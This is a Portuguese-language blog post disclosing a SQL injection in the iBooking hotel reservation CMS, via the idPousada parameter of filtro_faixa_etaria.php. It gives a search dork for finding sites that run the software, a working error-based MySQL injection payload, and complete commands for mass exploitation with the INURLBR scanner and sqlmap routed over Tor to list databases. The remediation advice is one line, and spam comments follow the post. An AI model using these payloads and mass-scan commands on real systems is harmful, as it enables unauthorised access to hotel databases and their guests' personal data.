IBOOKING CMS é um sistema voltado pro ramo de hotelaria, gerenciamento de reservas.
Como próprio site do desenvolvedor diz:
Motor de Reservas: Com o nosso motor de reservas você pode vender as diárias do seu hotel diretamente no seu site e sem precisar pagar comissão. Uma forma eficaz de ampliar sua lucratividade e interagir com o cliente desde o momento da compra.
Tal sistema tem uma falha grave de Injeção SQL, explorada via request GET no parâmetro idPousada do arquivo filtro_faixa_etaria.php dentro da pasta ou URL dinâmica /motor-de-reservas/. INFORMAÇÕES:
[+] FORNECEDOR: WWW.ibooking.com.br
[+] VERSÕES VULNERÁVEIS: TODAS [+] ARQUIVO: filtro_faixa_etaria.php [+] PASTA OU URL DINÂMICA: /motor-de-reservas [+] PARÂMETRO: idPousada(GET)
[+] DORK: intext:"Desenvolvido por ibooking" [+] REPORTADO: 15/10/2015
A request vulneravel é feito através de uma function javascript encontrada dentro de /motor-de-reservas
Código:
jQuery(function($){
$("#quartos").change(function() {
var qtde_quartos = $(this).val();
$.ajax({
type: "GET",
url: "filtro_faixa_etaria.php",
data: "qtde_quartos="+qtde_quartos+"&idPousada=61",
success: function(xml){
$("#filtro_faixa_etaria").html(xml);
}
});
});
$.ajax({
type: "GET",
url: "filtro_faixa_etaria.php",
data: "qtde_quartos=1&idPousada=61",
success: function(xml){
$("#filtro_faixa_etaria").html(xml);
}
});
});
URL Vulnerável:
http://www.TARGET.br/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61
POC:
http://www.TARGET.br/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+(INJEÇÃO_SQL) Exemplo:
http://www.TARGET.br/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)
Detalhes na injeção SQL é usado FUNCTIONS básicas de injeção, mas seu diferencial é uso de variáveis Globais do MySQL.
@@GLOBAL.version = VERSÃO BANCO DE DADOS MYSQL
@@GLOBAL.version_compile_os = SERVIDOR COMPILADO
@@GLOBAL.version_compile_machine = TIPO DE ARQUITETURA DO SERVIDOR
Também passo a string ::INURLBR_VULN:: no formato hexadecimal, para assim posteriormente validar se a injeção ocorreu como esperado.
0x203a3a494e55524c42525f56554c4e3a3a20 = ::INURLBR_VULN::
Print saída da injeção:
Exploração em massa usando scanner INURLBR
Baixar: https://github.com/googleinurl/SCANNER-INURLBR
Montando comando:
SETANDO DORK DE PESQUISA
--dork 'YOU_DORK'
- USE --dork 'intext:"Desenvolvido por ibooking"'
SETANDO ARQUIVO DE SAÍDA:
- USE: -s 'ibooking.txt'
SETANDO STRING EXPLOIT GET
--exploit-get 'EXPLOIT_GET'
- USE: --exploit-get '/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)'
SETANDO TIPO DE VALIDAÇÃO:
- USE: -t 3
3 O terceiro tipo tenta válido o erro definido por: -a 'VALUE_INSIDE_THE _target " mais as validações padrões do scanner, o diferencial é que --exploit-get é injetado direto na url:
Exemplo: --exploit-get '/index.php?id=1&file=conect.php'INJEÇÃO URL: http://www.target.br/index.php?id=1&file=conect.php
SETANDO STRING DE VALIDAÇÃO:
Especifique a string que será usada como validação no script:
Exemplo: -a {string}
Usando: -a '<title>hello world</title>'
Se o valor específico é encontrado no alvo, ele é considerado vulnerável.
- USE: -a 'INURLBR_VULN'
O valor INURLBR_VULN é passado no formato hexadecimal na string exploit-get
COMANDO COMPLETO:
php inurlbr.php --dork 'intext:"Desenvolvido por ibooking"' -s 'ibooking.txt' --exploit-get '/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)' -t 3 -a 'INURLBR_VULN'
EXPLORANDO VIA SQLMAP:
python sqlmap.py -u 'http://ww.target.br/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=1&idPousada=61' --dbs --random-agent --tor --tor-type=SOCKS5 -p idPousada --answers='follow=N,union-char=Y,time-sec=10,level=3,risk=2,dbms=MySQL,testing=Y,WAF/IPS/IDS=Y,check=Y'
EXPLORANDO INURLBR + SQLMAP:
Usando parâmetro da ferramenta inurlbr --command-vul, vai executar comando sqlmap quando constatar uma possível vulnerabilidade de acordo com as informações passadas.
php inurlbr.php --dork 'intext:"Desenvolvido por ibooking"' -s 'ibooking.txt' --exploit-get '/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)' -t 3 -a 'INURLBR_VULN' --command-vul "python sqlmap -u 'http://_TARGET_/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=1&idPousada=61' --dbs --random-agent --tor --tor-type=SOCKS5 -p idPousada --answers='follow=N,union-char=Y,time-sec=2,level=3,risk=2,dbms=MySQL,technique=BEUS,testing=Y,WAF/IPS/IDS=Y,check=Y' --flush-session"
Print saída:
Use Prepares statement sem moderação:
O arquivo aparecendo ou não para o cliente, ele pode ser vulnerável do mesmo jeito.
Outra falha que foi encontrada no sistema semana passada de titulo:
(0day) IBOOKING CMS - LOCAL FILE DISCLOSURE VULNERABILITY
Encontrada por: Pablo Verlly Moreira, que já foi reportada e corrigida pelo admin, mas sem nem um agradecimento por parte da equipe.
https://ghostbin.com/paste/e99uz
Referencias:
Thanks for your sharing! The information your share is very useful to me and many people are looking for them just like me!
ResponderExcluirYou have just saved my project because I have found the post that gave me the information.
ResponderExcluirEste comentário foi removido por um administrador do blog.
ResponderExcluirEste comentário foi removido por um administrador do blog.
ResponderExcluirEste comentário foi removido por um administrador do blog.
ResponderExcluir